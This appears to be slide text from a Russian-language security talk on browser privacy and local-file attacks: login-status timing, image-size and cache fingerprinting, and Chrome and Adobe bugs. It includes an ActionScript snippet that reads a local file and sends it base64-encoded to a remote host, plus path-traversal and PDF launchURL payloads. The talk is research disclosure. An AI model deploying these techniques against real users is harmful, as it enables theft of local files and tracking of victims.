  • 9. General resource timing (Chris Evans 11/12/2009) ● Часто размер динамической страницы веб- приложения зависит от статуса авторизации пользователя ● Если пользователь авторизован, время загрузки страницы будет отличаться от случая, когда пользователь не авторизован ● Злоумышленник может проверить статус авторизации жертвы зная время ее загрузки (IFRAME -> onload event)
  • 10. Новое в Image size finderprinting. ● Internet Explorer 8, 9, 10 (platform preview) поддерживают свойство fileSize для объектов image (<img>) и document, что позволяет получить размер картинки в байтах ● fileSize позволяет сильно улучшить зону покрытия метода ● Метод можно использовать не только для проверки авторизации, но и для проверки наличия локальных файлов картинок при открытии HTML в зоне file://
  • 11. Механизмы загрузки файлов в браузерах ● Можно ли загрузить произвольный файл на диск без согласия пользователя? ● Можно ли предугадать путь к загруженному файлу?
  • 12. Механизмы кэширования в браузерах ● Рассмотрим как кэш браузера храниться на диске (файлы, SQLite). ● В каких случаях кэшированные страницы можно использовать как локальные HTML из того же браузера
  • 13. Cache finderprinting (Chrome) ● Требует локального HTML с кодом PoС ● Используем размеры картинок как сигнатуры для распознавания сайтов в кэше. ● Можно определить размер кэша с точностью N, где N - среднее количество файлов кэша, на которое приходиться одна картинка
  • 14. Cache finderprinting (Chrome) Почему работает метод? ● Кэш храниться в виде раздельных локальных файлов ● Возможен доступ к файлам с кэшем из браузера ● Имена кэш-файлов предугадываемые (нумерованные) ● Image size finderprinting ● На проверяемом сайте есть картинка уникальных размеров или их последовательность: В примере: Youtube: 113x392, Google: 284x189 && 167x253
  • 15. Local files access (HTML) ● Можно ли получить содержимое локальных файлов через .innerHTML? ● Как проверить наличие произвольного локального файла с ФС?
  • 16. Local files access (SWF) ● Файл должен быть собран с опцией (Flex) --use-network=false ● Плагин должен быть открыт в зоне file:// private function getData(name:String):void{ var url:URLRequest=new URLRequest(name); var loader:URLLoader=new URLLoader(); loader.addEventListener(Event.COMPLETE,populate); loader.load(url); } private function sendData(host:String,data:String):void{ var enc:Base64Encoder=new Base64Encoder(); enc.encode(data); data=enc.toString(); navigateToURL(new URLRequest("file:///"+host+"/"+data),"_self"); } http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf http://xs-sniper.com/blog/2011/01/04/bypassing-flash% E2%80%99s-local-with-filesystem-sandbox/
  • 17. Local files access (SWF) http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf http://xs-sniper.com/blog/2011/01/04/bypassing-flash% E2%80%99s-local-with-filesystem-sandbox/
  • 18. Local files access (PDF) ● Adobe 908 ● Adobe 925 We will begin our investigation based on that information. In the meantime, we ask that you do not publicly disclose this potential issue, in order to protect Adobe's customers. This has been assigned the Adobe tracking number 908.
  • 19. Pri-1 Area-Internals SecSeverity- From http:// to file:// (Chrome) Medium Type-Security Mstone-11 Issue 72492 (Feb 9, 2011) ● Из командой строки (.lnk файлов) URL вида http: //google.com/../../../../../../../../../../boot.ini ведет на C: /boot.ini ● Из ссылок в приложениях (GTalk,ICQ,Skype) надо обойти встроенную нормализацию: http://www.google.ru?q=OMFG../#a/../../../../../../../../../../.. /boot.ini ● Можно вызвать через PDF документ расположенный в зоне http://: app.launchURL("http://../../../../../../../boot.ini",true)
  • 20. Pri-1 Area-Internals SecSeverity- From http:// to file:// (Chrome) Medium Type-Security Mstone-11
  • 21. Атака из топора (stealing local file from remote in Chrome 11.0.696.68)
  • 22. Атака из топора (stealing local file from remote in Chrome 11.0.696.68)
  • 23. Что нас ждет? GUI уязвимости ● URL spoofing ● PKI spoofing ● Action spoofing ● Dialogs bypass